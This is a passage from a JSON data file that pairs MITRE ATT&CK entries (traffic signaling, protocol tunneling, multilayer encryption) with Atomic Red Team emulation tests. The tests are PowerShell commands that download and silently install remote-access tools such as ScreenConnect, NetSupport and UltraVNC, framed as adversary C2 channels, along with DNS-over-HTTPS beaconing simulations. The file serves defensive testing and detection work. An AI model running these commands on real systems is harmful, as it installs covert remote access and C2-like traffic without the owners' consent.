- "command": "Invoke-WebRequest -OutFile C:\\Users\\$env:username\\Downloads\\GoToAssist.exe \"https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1\"\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Downloads\\GoToAssist.exe\"\nStart-Process $file1 /S;\n",
- "cleanup_command": "try{$PathToAtomicsFolder/T1219/Bin/GoToCleanup.ps1} catch{}",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "ScreenConnect Application Download and Install on Windows",
- "auto_generated_guid": "4a18cc4e-416f-4966-9a9d-75731c4684c0",
- "description": "An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory.\nMsiexec will be used to quietly insall ScreenConnect.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$installer = \"C:\\Users\\$env:username\\Downloads\\ScreenConnect.msi\"\nInvoke-WebRequest -OutFile $installer \"https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_21.11.4237.7885_Release.msi\"\nmsiexec /i $installer /qn\n",
- "cleanup_command": "$installer = \"C:\\Users\\$env:username\\Downloads\\ScreenConnect.msi\"\nmsiexec /x $installer /qn\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Ammyy Admin Software Execution",
- "auto_generated_guid": "0ae9e327-3251-465a-a53b-485d4e3f58fa",
- "description": "An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. \nUpon successful execution, Ammyy Admin will be executed. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "Ammyy_Admin_Path": {
- "description": "Path of Ammyy Admin executable",
- "type": "path",
- "default": "$env:temp\\ammyy.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Ammyy Admin must exist on disk at the specified location (#{Ammyy_Admin_Path})\n",
- "prereq_command": "if (Test-Path #{Ammyy_Admin_Path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://web.archive.org/web/20140625232737/http://www.ammyy.com/AA_v3.exe\" -OutFile \"$env:temp\\ammyy.exe\" -UseBasicParsing\n"
- }
- ],
- "executor": {
- "command": "Start-Process #{Ammyy_Admin_Path}\n",
- "cleanup_command": "Stop-Process -Name \"Ammyy\" -force -erroraction silentlycontinue\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "RemotePC Software Execution",
- "auto_generated_guid": "fbff3f1f-b0bf-448e-840f-7e1687affdce",
- "description": "An adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. \nUpon successful execution, RemotePC will be executed. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "RemotePC_Path": {
- "description": "Path of RemotePC executable",
- "type": "path",
- "default": "$env:temp\\RemotePC.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "RemotePC must exist on disk at the specified location (#{RemotePC_Path})\n",
- "prereq_command": "if (Test-Path #{RemotePC_Path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://static.remotepc.com/downloads/rpc/140422/RemotePC.exe\" -OutFile \"#{RemotePC_Path}\" -UseBasicParsing\n"
- }
- ],
- "executor": {
- "command": "Start-Process #{RemotePC_Path}\n",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"RemotePC\" -Confirm:$False -ErrorAction SilentlyContinue\nUnregister-ScheduledTask -TaskName \"RPCServiceHealthCheck\" -Confirm:$False -ErrorAction SilentlyContinue\nUnregister-ScheduledTask -TaskName \"ServiceMonitor\" -Confirm:$False -ErrorAction SilentlyContinue\nUnregister-ScheduledTask -TaskName \"StartRPCService\" -Confirm:$False -ErrorAction SilentlyContinue \nStop-Process -Name \"RemotePCPerformance\" -force -erroraction silentlycontinue\nStop-Process -Name \"RPCPerformanceService\" -force -erroraction silentlycontinue\nStop-Process -Name \"RemotePCUIU\" -force -erroraction silentlycontinue\nStop-Process -Name \"RPCDownloader\" -force -erroraction silentlycontinue\nStop-Process -Name \"RemotePCService\" -force -erroraction silentlycontinue\nStop-Process -Name \"RPCService\" -force -erroraction silentlycontinue\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "NetSupport - RAT Execution",
- "auto_generated_guid": "ecca999b-e0c8-40e8-8416-ad320b146a75",
- "description": "A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "NetSupport_Path": {
- "description": "Path to the NetSupport executable.",
- "type": "path",
- "default": "$env:temp\\T1219_NetSupport.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "NetSupport must be downloaded and exist on the disk at the specified location. (#{NetSupport_Path})\n",
- "prereq_command": "if (Test-Path #{NetSupport_Path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "(New-Object Net.WebClient).DownloadFile(\"https://nsproducts.azureedge.net/nsm-1270/en/Setup.exe\",\"#{NetSupport_Path}\")\n"
- }
- ],
- "executor": {
- "command": "Start-Process #{NetSupport_Path} -ArgumentList \"/S /v/qn\"\n",
- "cleanup_command": "Stop-Process -Name \"client32\" -force -erroraction silentlycontinue\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "UltraViewer - RAT Execution",
- "auto_generated_guid": "19acf63b-55c4-4b6a-8552-00a8865105c8",
- "description": "A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "UltraViewer_Path": {
- "description": "Path to the UltraViewer executable.",
- "type": "path",
- "default": "$env:temp\\T1219_UltraViewer.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Ultraviewer installer must be downloaded and exist on the disk at the specified location. (#{UltraViewer_Path})\n",
- "prereq_command": "if (Test-Path #{UltraViewer_Path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "(New-Object Net.WebClient).DownloadFile(\"https://www.ultraviewer.net/en/UltraViewer_setup_6.5_en.exe\",\"#{UltraViewer_Path}\")\n"
- }
- ],
- "executor": {
- "command": "Start-Process -Wait -FilePath \"#{UltraViewer_Path}\" -Argument \"/silent\" -PassThru\nStart-Process 'C:\\Program Files (x86)\\UltraViewer\\UltraViewer_Desktop.exe'\n",
- "cleanup_command": "Stop-Process -Name \"UltraViewer_Desktop\" -Force -ErrorAction SilentlyContinue\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "UltraVNC Execution",
- "auto_generated_guid": "42e51815-a6cc-4c75-b970-3f0ff54b610e",
- "description": "An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel.\nUpon successful execution, UltraVNC will be executed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "UltraVNC_Viewer_Path": {
- "description": "Path of UltraVNC Viewer executable",
- "type": "path",
- "default": "$env:ProgramFiles\\'uvnc bvba\\UltraVnc\\vncviewer.exe'"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UltraVNC must exist at (#{UltraVNC_Viewer_Path})\n",
- "prereq_command": "if (Test-Path #{UltraVNC_Viewer_Path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Start-BitsTransfer -Source \"https://www.uvnc.eu/download/1381/UltraVNC_1_3_81_X64_Setup.exe\" -Destination $env:temp\\vncsetup.exe -dynamic\nstart-process $env:temp\\vncsetup.exe /silent\n"
- }
- ],
- "executor": {
- "command": "Start-Process #{UltraVNC_Viewer_Path}\n",
- "cleanup_command": "Stop-Process -Name \"vncviewer\" -force -erroraction silentlycontinue\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1079": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:01.315Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1079",
- "url": "https://attack.mitre.org/techniques/T1079"
- },
- {
- "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
- "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
- "source_name": "SANS Decrypting SSL"
- },
- {
- "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
- "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
- "source_name": "SEI SSL Inspection Risks"
- },
- {
- "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf",
- "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
- "source_name": "Fidelis DarkComet"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-24T14:09:11.589Z",
- "name": "Multilayer Encryption",
- "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "If malware uses [Standard Cryptographic Protocol](https://attack.mitre.org/techniques/T1032), SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith [Custom Cryptographic Protocol](https://attack.mitre.org/techniques/T1024), if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1205": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Tony Lee",
- "Josh Day, Gigamon"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "2.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1205",
- "url": "https://attack.mitre.org/techniques/T1205"
- },
- {
- "source_name": "Bleeping Computer - Ryuk WoL",
- "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/",
- "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021."
- },
- {
- "source_name": "AMD Magic Packet",
- "url": "https://www.amd.com/system/files/TechDocs/20213.pdf",
- "description": "AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021."
- },
- {
- "source_name": "Mandiant - Synful Knock",
- "url": "https://www.mandiant.com/resources/synful-knock-acis",
- "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco Synful Knock Evolution",
- "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
- "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
- },
- {
- "source_name": "Hartrell cd00r 2002",
- "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631",
- "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018."
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- },
- {
- "source_name": "GitLab WakeOnLAN",
- "url": "https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN",
- "description": "Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)",
- "modified": "2022-04-19T19:52:50.774Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Traffic Signaling",
- "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nThe Wake-on-LAN magic packet consists of 6 bytes of FF
followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Defensive network service scanning"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1032": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:35.334Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1032",
- "url": "https://attack.mitre.org/techniques/T1032"
- },
- {
- "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
- "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
- "source_name": "SANS Decrypting SSL"
- },
- {
- "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
- "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
- "source_name": "SEI SSL Inspection Risks"
- },
- {
- "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf",
- "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
- "source_name": "Fidelis DarkComet"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-21T00:43:01.387Z",
- "name": "Standard Cryptographic Protocol",
- "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1572": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b",
- "type": "attack-pattern",
- "created": "2020-03-15T16:03:39.082Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1572",
- "url": "https://attack.mitre.org/techniques/T1572"
- },
- {
- "source_name": "SSH Tunneling",
- "url": "https://www.ssh.com/ssh/tunneling",
- "description": "SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020."
- },
- {
- "source_name": "BleepingComp Godlua JUL19",
- "url": "https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/",
- "description": "Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020."
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-27T17:15:35.372Z",
- "name": "Protocol Tunneling",
- "description": "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. \n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Connection Creation"
- ],
- "identifier": "T1572"
- },
- "atomic_tests": [
- {
- "name": "DNS over HTTPS Large Query Volume",
- "auto_generated_guid": "ae9ef4b0-d8c1-49d4-8758-06206f19af0a",
- "description": "This test simulates an infected host sending a large volume of DoH queries to a command and control server.\nThe intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain.\nA custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "doh_server": {
- "description": "Default DoH resolver",
- "type": "string",
- "default": "https://8.8.8.8/resolve"
- },
- "query_type": {
- "description": "DNS query type",
- "type": "string",
- "default": "TXT"
- },
- "subdomain": {
- "description": "Subdomain prepended to the domain name",
- "type": "string",
- "default": "atomicredteam"
- },
- "query_volume": {
- "description": "Number of DNS queries to send",
- "type": "integer",
- "default": "1000"
- },
- "domain": {
- "description": "Default domain to simulate against",
- "type": "string",
- "default": "127.0.0.1.xip.io"
- }
- },
- "executor": {
- "command": "for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\" -UseBasicParsing).Content }\n",
- "name": "powershell"
- }
- },
- {
- "name": "DNS over HTTPS Regular Beaconing",
- "auto_generated_guid": "0c5f9705-c575-42a6-9609-cbbff4b2fc9b",
- "description": "This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time.\nThis behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.\nA custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "doh_server": {
- "description": "Default DoH resolver",
- "type": "string",
- "default": "https://8.8.8.8/resolve"
- },
- "runtime": {
- "description": "Time in minutes to run the simulation",
- "type": "integer",
- "default": 30
- },
- "domain": {
- "description": "Default domain to simulate against",
- "type": "string",
- "default": "127.0.0.1.xip.io"
- },
- "subdomain": {
- "description": "Subdomain prepended to the domain name",
- "type": "string",
- "default": "atomicredteam"
- },
- "query_type": {
- "description": "DNS query type",
- "type": "string",
- "default": "TXT"
- },
- "c2_interval": {
- "description": "Seconds between C2 requests to the command and control server",
- "type": "integer",
- "default": 30
- },
- "c2_jitter": {
- "description": "Percentage of jitter to add to the C2 interval to create variance in the times between C2 requests",
- "type": "integer",
- "default": 20
- }
- },
- "executor": {
- "command": "Set-Location PathToAtomicsFolder\n.\\T1572\\src\\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}\n",
- "name": "powershell"
- }
- },
- {
- "name": "DNS over HTTPS Long Domain Query",
- "auto_generated_guid": "748a73d5-cea4-4f34-84d8-839da5baa99c",
- "description": "This test simulates an infected host returning data to a command and control server using long domain names.\nThe simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold.\n Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "doh_server": {
- "description": "Default DoH resolver",
- "type": "string",
- "default": "https://8.8.8.8/resolve"
- },
- "query_type": {
- "description": "DNS query type",
- "type": "string",
- "default": "TXT"
- },
- "subdomain": {
- "description": "Subdomain prepended to the domain name (should be 63 characters to test maximum length)",
- "type": "string",
- "default": "atomicredteamatomicredteamatomicredteamatomicredteamatomicredte"
- },
- "domain": {
- "description": "Default domain to simulate against",
- "type": "string",
- "default": "127.0.0.1.xip.io"
- }
- },
- "executor": {
- "command": "Set-Location PathToAtomicsFolder\n.\\T1572\\src\\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1483": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Sylvain Gil, Exabeam",
- "Barry Shteiman, Exabeam",
- "Ryan Benson, Exabeam"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--54456690-84de-4538-9101-643e26437e09",
- "type": "attack-pattern",
- "created": "2019-02-18T17:22:57.831Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1483",
- "url": "https://attack.mitre.org/techniques/T1483"
- },
- {
- "source_name": "Cybereason Dissecting DGAs",
- "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf",
- "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019."
- },
- {
- "source_name": "Cisco Umbrella DGA",
- "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/",
- "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019."
- },
- {
- "source_name": "Unit 42 DGA Feb 2019",
- "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/",
- "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019."
- },
- {
- "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html",
- "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
